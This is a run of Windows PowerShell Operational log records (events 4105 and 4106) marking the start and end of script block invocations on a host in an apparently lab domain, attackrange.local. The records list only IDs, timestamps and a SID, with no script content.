RecordNumber=2027934
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027933
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027932
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027931
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027930
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027929
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027928
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027927
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027926
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027925
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027924
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027923
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027922
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027921
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027920
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027919
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027918
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027917
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027916
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027915
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027914
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027913
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027912
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027911
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027910
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027909
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027908
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027907
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027906
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027905
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027904
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027903
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027902
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027901
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027900
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027899
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027898
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027897
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027896
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027895
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027894
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027893
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027892
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027891
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027890
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027889
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027888
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027887
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027886
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027885
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027884
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027883
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027882
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027881
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
